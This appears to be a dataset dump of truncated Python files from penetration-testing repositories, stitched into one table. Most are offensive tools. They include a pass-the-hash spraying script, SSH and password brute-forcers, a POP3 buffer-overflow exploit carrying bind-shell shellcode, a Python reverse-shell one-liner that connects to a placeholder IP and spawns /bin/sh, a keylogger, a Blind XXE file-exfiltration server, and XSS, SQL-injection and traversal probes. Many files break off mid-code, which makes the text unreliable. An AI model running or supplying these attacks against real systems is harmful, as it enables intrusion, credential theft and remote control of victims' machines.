repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-17
# @File : port_scanner.py
# @Desc : ""
import threading
import time
from flask import Blueprint, render_template, request, redirect, url_for, jsonify
from bson import ObjectId
from lib.mongo_db import connectiondb, db_name_... | 40.010309 | 95 | 0.515212 |
cybersecurity-penetration-testing | __author__ = 'Preston Miller & Chapin Bryce'
import csv_writer
import kml_writer
import xlsx_writer
| 16 | 44 | 0.752475 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Simple script intended to perform Carpet Bombing against list
# of provided machines using list of provided LSA Hashes (LM:NTLM).
# The basic idea with Pass-The-Hash attack is to get One hash and use it
# against One machine. There is a problem with this approach of not having information,
# ont... | 31.707207 | 190 | 0.619972 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
def main():
num_1=input("Enter First number : ")
num_2=input("Enter Second number : ")
sum_=num_1+num_2
print("Sum is : "+str(sum_))
print("Surprised !! ,input() returns String")
print("Actuall sum : " +str(int(num_1)+int(num_2)))
main()
| 19.769231 | 52 | 0.620818 |
owtf | """
owtf.managers.target
~~~~~~~~~~~~~~~~~~~~
"""
import logging
import os
try:
from urllib.parse import urlparse
except ImportError:
from urlparse import urlparse
from owtf.db.session import get_count, get_scoped_session
from owtf.lib.exceptions import (
DBIntegrityException,
InvalidParameterType,
... | 31.987738 | 107 | 0.61073 |
Python-for-Offensive-PenTest | '''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read Google terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# Interacting with Google Forms
import requests # To install requests library, just type on the CMD: ... | 36.108696 | 156 | 0.747362 |
cybersecurity-penetration-testing | import sys
import time
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *
class Screenshot(QWebView):
def __init__(self):
self.app = QApplication(sys.argv)
QWebView.__init__(self)
self._loaded = False
self.loadFinished.connect(self._loadFinished)
... | 25 | 72 | 0.609082 |
cybersecurity-penetration-testing | import sys
def main():
"""
The main function uses sys.argv list to print any user supplied input.
:return: Nothing.
"""
args = sys.argv
print 'Script:', args[0]
args.pop(0)
for i, argument in enumerate(sys.argv):
print 'Argument {}: {}'.format(i, argument)
... | 22.705882 | 75 | 0.547264 |
Python-Penetration-Testing-for-Developers | import requests
url = "http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id="
initial = "'"
print "Testing "+ url
first = requests.post(url+initial)
if "mysql" in first.text.lower():
print "Injectable MySQL detected"
elif "native client" in first.text.lower():
print "Injectable MSSQL detected"
elif "syntax er... | 27.823529 | 66 | 0.725971 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Generate Keys
from ... | 27.272727 | 72 | 0.756844 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# RSA - Server- TCP Re... | 40.482993 | 109 | 0.808922 |
owtf | """
GREP Plugin for DoS Failure to Release Resources (OWASP-DS-007)
https://www.owasp.org/index.php/Testing_for_DoS_Failure_to_Release_Resources_%28OWASP-DS-007%29
NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log
"""
from owtf.plugin.helper import plugin_helper
DESCRIPTION = ... | 33.384615 | 95 | 0.786996 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "\x8f\x35\x4a\x5f" +"C"*390
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print s... | 17.551724 | 54 | 0.577281 |
cybersecurity-penetration-testing | fields = {
'name' : 'sean',
'password' : 'password!',
'login' : 'LogIn'
}
opener = urllib2.build_opener(
urllib2.HTTPCookieProcessor()
)
request = urllib2.Request(
"http://example.com/login",
urllib.urlencode(fields))
url = opener.open(request)
response = url.read()
url = opener.open("http://example.com/dashboard"... | 18.166667 | 49 | 0.688953 |
Effective-Python-Penetration-Testing | from Crypto.Cipher import AES
encrypt_AES = AES.new('secret-key-12345', AES.MODE_CBC, 'This is an IV456')
message = "This is message "
ciphertext = encrypt_AES.encrypt(message)
print ciphertext
decrypt_AES = AES.new('secret-key-12345', AES.MODE_CBC, 'This is an IV456')
message_decrypted = decrypt_AES.decrypt(ciphertex... | 37.666667 | 75 | 0.760807 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2015
Name: nmap_scanner.py
Purpose: To scan a network
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are... | 42.627451 | 111 | 0.764838 |
cybersecurity-penetration-testing | import argparse
import binascii
import csv
import logging
import os
import re
import struct
import sys
from collections import namedtuple
from tqdm import trange
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = '''This scripts processes SQLite "Write Ahead Logs" ... | 40.919598 | 120 | 0.578373 |
cybersecurity-penetration-testing | import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
... | 24.410959 | 62 | 0.593851 |
cybersecurity-penetration-testing | import urllib2
import urllib
import threading
import Queue
threads = 5
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # from SVNDigger
resume = None
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
def build_wordlist(wordlist_file):... | 26.617978 | 87 | 0.476597 |
cybersecurity-penetration-testing | #!/usr/bin/python3
import re
import sys
import json
import string
import random
import datetime
import socket
import requests
import functools
from urllib.parse import urljoin, urlparse
from threading import Lock
from Database import Database
from threading import Thread
from time import sleep
from mitmproxy impo... | 35.155738 | 192 | 0.585097 |
Effective-Python-Penetration-Testing | import mechanize
url = "http://www.webscantest.com/crosstraining/aboutyou.php"
browser = mechanize.Browser()
attackNumber = 1
with open('XSS-vectors.txt') as f:
for line in f:
browser.open(url)
browser.select_form(nr=0)
browser["fname"] = line
res = browser.submit()
content = res.read()
# check ... | 23.782609 | 61 | 0.676626 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2015
Name: ifacesdetails.py
Purpose: Provides the details related to a systems interfaces
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provid... | 38.209877 | 124 | 0.727874 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "LDAP Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalLDAPinjection")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 28.181818 | 75 | 0.78125 |
Python-Penetration-Testing-for-Developers | from scapy.all import *
import struct
interface = 'mon0'
ap_list = []
def info(fm):
if fm.haslayer(Dot11):
if ((fm.type == 0) & (fm.subtype==8)):
if fm.addr2 not in ap_list:
ap_list.append(fm.addr2)
print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2, \
"-- Channel--> ", ord(fm[Dot11Elt:3].info)
sniff... | 23.857143 | 56 | 0.608069 |
owtf | """
owtf.lib.exceptions
~~~~~~~~~~~~~~~~~~~
Declares the framework exceptions and HTTP errors
"""
try:
from http.client import responses
except ImportError:
from httplib import responses
import tornado.web
class FrameworkException(Exception):
def __init__(self, value):
self.parameter = value
... | 17.067227 | 71 | 0.74174 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Hybrid - Server- TCP... | 27.046729 | 169 | 0.668333 |
PenetrationTestingScripts | # Taken from Python 2.6.4 for use by _sgmllib.py
"""Shared support for scanning document type declarations in HTML and XHTML.
This module is used as a foundation for the HTMLParser and sgmllib
modules (indirectly, for htmllib as well). It has no documented
public API and should not be used directly.
"""
import re
... | 35.548223 | 92 | 0.47295 |
diff-droid | def update():
print "to do : do git update" | 23 | 33 | 0.617021 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import crypt
def testPass(cryptPass):
salt = cryptPass[0:2]
dictFile = open('dictionary.txt', 'r')
for word in dictFile.readlines():
word = word.strip('\n')
cryptWord = crypt.crypt(word, salt)
if cryptWord == cryptPass:
print '[... | 23.387097 | 54 | 0.529801 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: April 2015
Name: dirtester.py
Purpose: To identify unlinked and hidden files or directories within web applications
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are... | 44.060976 | 151 | 0.691391 |
Hands-On-Penetration-Testing-with-Python | from XtremeWebAPP.xtreme_server.models import *
from django.contrib import admin
admin.site.register(Project)
admin.site.register(Settings)
admin.site.register(Page)
admin.site.register(Form)
admin.site.register(LearntModel)
admin.site.register(Vulnerability) | 28.888889 | 48 | 0.809701 |
Penetration_Testing | #!/usr/bin/python
# Converts to hex, ascii, decimal, octal, binary, base64, or little-endian.
import sys
from binascii import unhexlify, b2a_base64
def ascToHex(string):
in_hex = string.encode('hex')
return in_hex
def toLittleEndian(string):
little_endian = '0x' + "".join(reversed([string[i:i+2]
for i in ra... | 19.240602 | 101 | 0.657748 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
class ExceptionHandeling():
def __init__(self):
pass
def div_1(self,num1,num2):
try:
num3=num1/num2
print("Division result : " +str(num3))
except Exception as ex:
print("Exception : "+str(ex))
def div_2(self,num1,num2):
try:
num3=num1/num2
print("Division result : " +st... | 18.511628 | 58 | 0.634845 |
Penetration-Testing-Study-Notes | #! /usr/bin/env python
# -*- coding: utf-8 -*-
#
"""
scythe: account enumerator
Account Enumerator is designed to make it simple to perform account
enumeration as part of security testing. The framework offers the ability
to easily create new modules (XML files) and speed up the process of testing.
... | 39.999301 | 115 | 0.516323 |
Python-Penetration-Testing-for-Developers | import urllib2
import re
import sys
tarurl = sys.argv[1]
url = urllib2.urlopen(tarurl).read()
regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+\/=?^_`"
"{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(\.|"
"\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)")... | 30.428571 | 79 | 0.561457 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from printers import printPink,printGreen
from multiprocessing.dummy import Pool
import ldap
class ldap_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
self.lines=self.config.file2list("conf/ldap... | 32.045977 | 126 | 0.492693 |
cybersecurity-penetration-testing | #!/usr/bin/python3
#
# A script that enumerates Imports and Exports of PE files and prints them according to search criterias.
#
# Let's the user find imported/exported symbols matching criterias such as:
# - symbol being import or export
# - symbol matching name
# - symbol NOT matching name
# - module matching... | 36.084149 | 213 | 0.585625 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from printers import printPink,printGreen
from multiprocessing.dummy import Pool
from pysnmp.entity.rfc3413.oneliner import cmdgen
class snmp_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
... | 31.757576 | 98 | 0.503933 |
cybersecurity-penetration-testing | #
# Bluetooth scanner with ability to spam devices
# with incoming OBEX Object Push requests containing
# specified file.
#
# Mariusz Banach / MGeeky, 16'
#
# Partially based on `Violent Python` snippets.
# Modules required:
# python-bluez
# python-obexftp
#
import bluetooth
import scapy
import obexftp
import sys
i... | 30.509804 | 169 | 0.607221 |
cybersecurity-penetration-testing | import urllib2
import sys
__author__ = 'Preston Miller and Chapin Bryce'
__date__ = '20160401'
__version__ = 0.02
__description__ = """Reads Linux-usb.org's USB.ids file and parses into usable data for parsing VID/PIDs"""
def main():
ids = get_ids()
usb_file = get_usb_file()
usbs = parse_file(usb_file)
... | 24.382353 | 107 | 0.569855 |
Mastering-Machine-Learning-for-Penetration-Testing | """
network.py
~~~~~~~~~~
A module to implement the stochastic gradient descent learning
algorithm for a feedforward neural network. Gradients are calculated
using backpropagation. Note that I have focused on making the code
simple, easily readable, and easily modifiable. It is not optimized,
and omits many desirab... | 42.331551 | 77 | 0.591953 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
LPORT1433 = ""
LPORT1433 += "\x9b\x98\x40\x48\x4b\x98\xd6\x41\x41\x42\xda\xd8"
LPORT1433 += "\xd9\x74\x24\xf4\xbd\x24\x8b\x25\x21\x58\x29\xc9"
LPORT1433 += "\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\x4c\x98\xc7"
LPORT1433 += "\xd4\x70\x76\x85\x17\x88\x87\xea\... | 40.903226 | 78 | 0.680786 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
i=0
print("------ While Basics ------")
while i < 5:
print("Without Braces : Statement %s "%i)
i=i+1
i=0
while (i < 5):
print("With Braces : Statement %s "%i)
i=i+1
print("------- While with Lists ------")
my_list=[1,2,"a","b",33.33,"c",4,5,['item 1','item 2']]
i=0
while(i < len(my_list)):
if... | 22.515152 | 90 | 0.540645 |
cybersecurity-penetration-testing | from scapy.all import *
import struct
interface = 'mon0'
ap_list = []
def info(fm):
if fm.haslayer(Dot11):
if ((fm.type == 0) & (fm.subtype==8)):
if fm.addr2 not in ap_list:
ap_list.append(fm.addr2)
print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2, \
"-- Channel--> ", ord(fm[Dot11Elt:3].info)
sniff... | 23.857143 | 56 | 0.608069 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/python
# -*- coding: utf-8 -*-
import bcrypt
# Let's first enter a password
new = raw_input('Please enter a password: ')
# We'll encrypt the password with bcrypt with the default salt value of 12
hashed = bcrypt.hashpw(new, bcrypt.gensalt())
# We'll print the hash we just generated
print('The string about t... | 32.222222 | 74 | 0.716918 |
owtf | """
owtf.models.session
~~~~~~~~~~~~~~~~~~~
"""
from sqlalchemy import Boolean, Column, Integer, String
from sqlalchemy.orm import relationship
from owtf.db.model_base import Model
from owtf.lib import exceptions
from owtf.models.target import target_association_table
class Session(Model):
__tablename__ = "sess... | 30.837209 | 107 | 0.66886 |
cybersecurity-penetration-testing | import os,sys
from PIL import Image
from PIL.ExifTags import TAGS
for (i,j) in Image.open('image.jpg')._getexif().iteritems():
print '%s = %s' % (TAGS.get(i), j)
| 23.571429 | 60 | 0.643275 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import dpkt
import socket
def printPcap(pcap):
for (ts, buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
print '[+] Src: ' +... | 17.392857 | 56 | 0.490272 |
cybersecurity-penetration-testing | from scapy.all import *
interface = 'mon0'
ap_list = []
def info(fm):
if fm.haslayer(Dot11):
if ((fm.type == 0) & (fm.subtype==8)):
if fm.addr2 not in ap_list:
ap_list.append(fm.addr2)
print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2
sniff(iface=interface,prn=info)
| 21.307692 | 53 | 0.602076 |
owtf | """
owtf.shell.utils
~~~~~~~~~~~~~~~~
# Inspired from:
# http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/
"""
import errno
import os
import platform
import subprocess
import sys
import time
if platform.system() == "Windows":
from win32file import ReadFile, WriteFile
... | 27.672222 | 96 | 0.517054 |
thieves-tools | import click
from lib import cheatsheet, question
# @click.group(invoke_without_command=True)
@click.group()
@click.pass_context
@click.help_option("-h", "--help")
def cli(ctx):
"""
Should fill this in :P
"""
pass
cli.add_command(cheatsheet)
cli.add_command(question)
| 13.842105 | 43 | 0.697509 |
owtf | #!/usr/bin/env python
try:
import http.server as server
except ImportError:
import BaseHTTPServer as server
import getopt
import re
import sys
try:
from urllib.parse import urlparse, urlencode
from urllib.request import urlopen, Request
from urllib.error import HTTPError, URLError
from urllib.r... | 25.374663 | 98 | 0.518704 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# pyHook download link
# http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/
# pythoncom download link
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
# Keylogger
import pythoncom, pyHook
#Again, once the user hit any keyboard button, keypressed func wi... | 27.035088 | 140 | 0.717595 |
cybersecurity-penetration-testing | # Primality Testing with the Rabin-Miller Algorithm
# http://inventwithpython.com/hacking (BSD Licensed)
import random
def rabinMiller(num):
# Returns True if num is a prime number.
s = num - 1
t = 0
while s % 2 == 0:
# keep halving s until it is even (and use t
# to cou... | 42.241935 | 828 | 0.566791 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Project.auth_parameters'
db.add_column(u'xtrem... | 63.678261 | 130 | 0.53933 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8... | 125.074074 | 2,915 | 0.937114 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Simple Blind XXE server intended to handle incoming requests for
# malicious DTD file, that will subsequently ask for locally stored file,
# like file:///etc/passwd.
#
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
# to be run as follows:
#
# 0. Configure global variab... | 28.783019 | 199 | 0.606051 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-14
# @File : poc_scanner.py
# @Desc : =_=!!
import sched
import time
import datetime
from multiprocessing import Pool, Lock
from threading import RLock
from pocsuite.api.cannon import Cannon
from apscheduler.schedulers.blockin... | 38.490909 | 115 | 0.524021 |
Penetration-Testing-Study-Notes | # Reverse shell one-liner python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
| 63 | 220 | 0.686275 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
interface = 'mon0'
probeReqs = []
def sniffProbe(p):
if p.haslayer(Dot11ProbeReq):
netName = p.getlayer(Dot11ProbeReq).info
if netName not in probeReqs:
probeReqs.append(netName)
print '[+] Detected New Prob... | 19.315789 | 62 | 0.636364 |
cybersecurity-penetration-testing | import os
import collections
import platform
import socket, subprocess,sys
import threading
from datetime import datetime
''' section 1 '''
net = raw_input("Enter the Network Address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_in... | 21.934211 | 60 | 0.660735 |
Penetration_Testing |
'''
Suggestion:
Use py2exe to turn this script into a Windows executable.
Example: python setup.py py2exe
Run as administrator to store file under current path.
Change pathname if administrator level privilege is not possible.
Ways to improve program:
* Compress files to reduce size.
'''
import win32gui
import win3... | 25.193548 | 85 | 0.748614 |
owtf | """
ACTIVE Plugin for Testing for Web Application Fingerprint (OWASP-IG-004)
https://www.owasp.org/index.php/Testing_for_Web_Application_Fingerprint_%28OWASP-IG-004%29
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Active probing for fingerprint analysi... | 31 | 90 | 0.747698 |
cybersecurity-penetration-testing | # Prime Number Sieve
# http://inventwithpython.com/hacking (BSD Licensed)
import math
def isPrime(num):
# Returns True if num is a prime number, otherwise False.
# Note: Generally, isPrime() is slower than primeSieve().
# all numbers less than 2 are not prime
if num < 2:
return... | 24.333333 | 73 | 0.587357 |
cybersecurity-penetration-testing | import socket
import struct
from datetime import datetime
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
dict = {}
file_txt = open("dos.txt",'a')
file_txt.writelines("**********")
t1= str(datetime.now())
file_txt.writelines(t1)
file_txt.writelines("**********")
file_txt.writelines("\n")
print "Detection Start ... | 18.65 | 55 | 0.633121 |
PenetrationTestingScripts | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import re
import sys
import os
from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style
from .winterm import WinTerm, WinColor, WinStyle
from .win32 import windll, winapi_test
winterm = None
if windll is not None:
winterm = WinTerm()
def ... | 39.797468 | 103 | 0.584816 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
def method_1(*args):
print("------------------------")
print("Method_1 -")
print("Recievied : " +str(args))
sum=0
for arg in args:
sum=sum+arg
print ("Sum : " +str(sum))
print("------------------------\n")
def method_1_rev(a=0,b=0,c=0,d=0):
print("------------------------")
print("Metho... | 24.512195 | 49 | 0.469856 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: banner_grabber.py
Purpose: To provide a means to demonstrate a simple file upload proof of concept related to
exploiting Free MP3 CD Ripper.
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binar... | 50.671875 | 91 | 0.757411 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-08 06:50
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nmaper', '0009_auto_20160108_0613'),
]
operations = [
migrations.AlterField(... | 25.884615 | 134 | 0.577364 |
cybersecurity-penetration-testing | import requests
import sys
url = "http://127.0.0.1/traversal/third.php?id="
payloads = {'etc/passwd': 'root'}
up = "../"
i = 0
for payload, string in payloads.iteritems():
while i < 7:
req = requests.post(url+(i*up)+payload)
if string in req.text:
print "Parameter vulnerable\r\n"
print "Attack string: "+(i*u... | 21.529412 | 48 | 0.638743 |
Effective-Python-Penetration-Testing | import urllib
url = urllib.urlopen("http://packtpub.com/")
data = url.read()
print data
| 17.6 | 45 | 0.684783 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Padding Oracle test-cases generator.
# Mariusz Banach / mgeeky, 2016
# v0.2
#
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
#
# Script that takes ... | 37.307692 | 151 | 0.640867 |
owtf | from owtf.config import config_handler
from owtf.plugin.helper import plugin_helper
from owtf.plugin.params import plugin_params
DESCRIPTION = "Password Bruteforce Testing plugin"
BRUTEFORCER = ["hydra"]
CATEGORIES = [
"RDP",
"LDAP2",
"LDAP3",
"MSSQL",
"MYSQL",
"CISCO",
"CISCO-ENABLE",
... | 24.902439 | 87 | 0.540273 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x0000004005e3)
f = open("input.txt", "w")
f.write(buffer)
| 15.666667 | 36 | 0.630872 |
Broken-Droid-Factory | import os.path
import re
from patchers import patcher_interface
class exported_intent_patcher(patcher_interface.patcher):
'''
Removes a random intent filter
'''
difficulty = 1
def patch(self):
'''
A simple patch to remove an intent filter from an exported activity
'''
... | 33.4 | 111 | 0.60266 |
Penetration_Testing | '''
Win race conditions!
Inject code before a file gets executed and then deleted.
Suggestion:
* Run the script for 24 hours or longer.
Interesting bugs and information disclosures on top of potential privilege escalations will likely be reported.
Ideas:
* Can save the output to a file.
* Can send the output to a rem... | 25.284211 | 111 | 0.679487 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalSSIInjection")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.636364 | 75 | 0.780255 |
PenetrationTestingScripts | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import atexit
import contextlib
import sys
from .ansitowin32 import AnsiToWin32
orig_stdout = None
orig_stderr = None
wrapped_stdout = None
wrapped_stderr = None
atexit_done = False
def reset_all():
if AnsiToWin32 is not None: # Is... | 22.108434 | 81 | 0.653104 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2, 2015
Purpose: To grab your current Public IP (Eth & WLAN), Private IP, MAC Addresses, FQDN, and Hostname
Name: hostDetails.py
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or wit... | 37.5 | 155 | 0.672233 |
owtf | """
ACTIVE Plugin for Generic Unauthenticated Web App Fuzzing via Wapiti
This will perform a "low-hanging-fruit" pass on the web app for easy to find (tool-findable) vulns
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Active Vulnerability Scanning with... | 35.214286 | 98 | 0.774704 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.6
class Methods():
class_var=200
def __init__(self):
self.variable=0
def instance_method(self):
self.variable=100
print("------------------------------")
print("Inside Instance Method")
print("Instance is : " +str(self))
print("Instance variable is : "+str(self.variable))
print("... | 33.136986 | 93 | 0.531112 |
Mastering-Machine-Learning-for-Penetration-Testing | import foolbox
import keras
import numpy as np
from keras.applications.resnet50 import ResNet50
import matplotlib.pyplot as plt
# instantiate model
keras.backend.set_learning_phase(0)
kmodel = ResNet50(weights='imagenet')
preprocessing = (np.array([104, 116, 123]), 1)
fmodel = foolbox.models.KerasModel(kmodel, bounds... | 26.55 | 88 | 0.712988 |
owtf | """
tests.functional.cli.test_except
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliTestCase
class OWTFCliExceptTest(OWTFCliTestCase):
categories = ["cli"]
def test_except(self):
"""Run OWTF web plugins except one."""
self.run_owtf(
"-s",
"-g"... | 25.117647 | 68 | 0.488162 |
owtf | """
owtf.api.handlers.index
~~~~~~~~~~~~~~~~~~~~~~~
"""
from owtf.api.handlers.base import UIRequestHandler
class IndexHandler(UIRequestHandler):
"""Serves the main webapp"""
SUPPORTED_METHODS = ["GET"]
def get(self, path):
"""Render the homepage with all JavaScript and context.
**Exam... | 20.527778 | 83 | 0.55814 |
owtf | """
Plugin for probing snmp
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " SNMP Probing "
def run(PluginInfo):
resource = get_resources("BruteSnmpProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, ... | 24 | 88 | 0.75 |
Mastering-Machine-Learning-for-Penetration-Testing | # inspired by Abhijeet Singh classifier
import os
import numpy as np
from collections import Counter
from sklearn.svm import LinearSVC
from sklearn.metrics import confusion_matrix
def make_Dictionary(train_dir):
emails = [os.path.join(train_dir,f) for f in os.listdir(train_dir)]
all_words = []
... | 26.423077 | 75 | 0.622544 |
Hands-On-AWS-Penetration-Testing-with-Kali-Linux | import random
import boto3
import botocore
# A list of user agents that won't trigger GuardDuty
safe_user_agents = [
'Boto3/1.7.48 Python/3.7.0 Windows/10 Botocore/1.10.48',
'aws-sdk-go/1.4.22 (go1.7.4; linux; amd64)',
'aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10'
]
# Grab the current user a... | 30.4 | 100 | 0.71949 |
Python-Penetration-Testing-Cookbook | import urllib2
import re
from os.path import basename
from urlparse import urlsplit
url = 'https://www.packtpub.com/'
response = urllib2.urlopen(url)
source = response.read()
file = open("packtpub.txt", "w")
file.write(source)
file.close()
patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))'
for line in o... | 23.75 | 63 | 0.570809 |
Python-Penetration-Testing-Cookbook | #!/usr/bin/python
import time
from scapy.all import *
iface = "en0"
target_ip = '192.168.1.2'
fake_ip = '192.168.1.3'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2
ether = Ether()
